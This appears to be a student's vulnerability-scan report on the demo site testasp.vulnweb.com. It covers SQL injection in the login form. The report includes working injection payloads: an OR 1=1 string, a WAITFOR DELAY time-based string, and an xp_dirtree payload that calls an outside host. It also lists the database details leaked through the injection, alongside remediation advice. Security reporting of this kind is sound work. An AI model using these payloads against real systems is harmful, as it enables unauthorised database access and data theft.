Task 3 (Aakash A aakashspike2001@gmail.com)

Target url : http://testasp.vulnweb.com/

Number of issues found : 33

Critical issues : 11

High issues : 9

Medium issues : 4

Low issues : 8

Critical issues

- Boolean Based SQL injection method
- Out of Band SQL injection
- Blind SQL injection

Boolean Based SQL Injection

URL : **http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp?**

- Boolean-based SQL injection is a technique which relies on sending an SQL query to the database. This injection technique forces the application to return a different result, depending on the query.
- Depending on the boolean result (TRUE or FALSE), the content within the HTTP response will change, or remain the same.
- The result allows an attacker to judge whether the payload used returns true or false, even though no data from the database are recovered. Also, it is a slow attack; this will help the attacker to enumerate the database.

Parameter Name tfUName
Parameter Type POST
Attack Pattern 1%27+OR+1%3d1+OR+%27ns%27%3d%27ns

Proof of exploitation

- Identified database version (cached)
  microsoft sql server 2014 (sp3-gdr) (kb4583463) - 12.0.6164.21 (x64) nov 1 2020 04 25 14 copyright (c) microsoft corporation express edition (64-bit) on windows nt 6.3 <x64> (build 9600) (hypervisor)

- **Identified Database User (cached)**

  acunetix

- **Identified Database Name (cached)**

  acuforum

Vulnerability Details

Boolean-based SQL injection occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

- Reading, updating and deleting arbitrary data/tables from the database
- Executing commands on the underlying operating system

Actions to Take

1. See the remedy for solution.
2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (*object relational mapping*). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (*If you decide to use a DAL/ORM, change all legacy code to use these new libraries.*)
4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.

Remedy

The best way to protect your code against SQL injections is using parameterized queries (*prepared statements*). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

- There are numerous freely available tools to exploit SQL injection vulnerabilities.
- This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

Classifications

PCI v3.1-6.5.1; PCI v3.2-6.5.1; CAPEC-66; CWE-89; HIPAA-164.306(a), 164.308(a); ISO27001-A.14.2.5; WASC-19; OWASP 2013-A1; OWASP 2017-A1 , CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Blind SQL Injection

URL : http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp?

Parameter Name tfUPass

Parameter Type POST

Attack Pattern %27+WAITFOR+DELAY+%270%3a0%3a25%27--

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

Threat Modeling

Same as for SQL Injection

Risk Factors

Same as for SQL Injection

Vulnerability Details

A blind SQL injection occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker **confirmed** the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed us to identify and confirm the SQL injection

Impact

Depending on the backend database, the database connection settings, and the operating system, an attacker can mount one or more of the following attacks successfully:

- Reading, updating and deleting arbitrary data or tables from the database
- Executing commands on the underlying operating system

Actions to Take

1. See the remedy for solution.
2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (*object relational mapping*). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
3. Locate the all dynamically generated SQL queries and convert them to parameterized queries.
4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.

Remedy

A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (*prepared statements*). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.

Classification

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Out of Band SQL Injection

URL : http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp?

Parameter Name **tfUPass**

Parameter Type **POST**

Attack Pattern

-1%27%3bexec(%27xp_dirtree+%27%27%5c%5ctu1kfw569w1imv

jrzoeteomkccu-8ckqa595gdsf%27%2b%27uh8.r87.me%27%2b%2

7%5cc%24%5ca%27%27%27)--

Vulnerability Details

Netsparker identified an Out of Band SQL injection by capturing a DNS A request, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker **confirmed** the vulnerability by executing a test SQL query on the backend database that resolves a specific DNS address that Netsparker Hawk can capture, originating from the database server.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

- Reading, updating and deleting arbitrary data or tables from the database
- Executing commands on the underlying operating system

HTTP Based Exfiltration:

Oracle database is used to demonstrate HTTP based exfiltration by using UTL_HTTP.request function. The following shows the sample query used to exfiltrate database version, current username and hashed password from the database. The purpose of UTL_HTTP.request() function is trigger HTTP request of database system. String version, user and hashpass are used to organize the captured data and made it looks like parameters of HTTP request.

Actions to Take

1. See the remedy for solution.

2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (*object relational mapping*). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.

3. If you are generating SQL statements based on information in database tables that are filled with information from users, review the SQL generating parts.
4. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (*If you decide to use a DAL/ORM, change all legacy code to use these new libraries.*)
5. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.

Recommendation

1. Input validation on both client and server-side
2. Proper error handling to avoid displaying detailed error information
3. Review network and security architecture design
4. Assign database account to application based on least privilege principle
5. Implementation of security control like Web Application Firewall (WAF) and Intrusion Prevention System (IPS) as additional control
6. Continuous monitoring for anomaly and proper incident response processes as safety net of the controls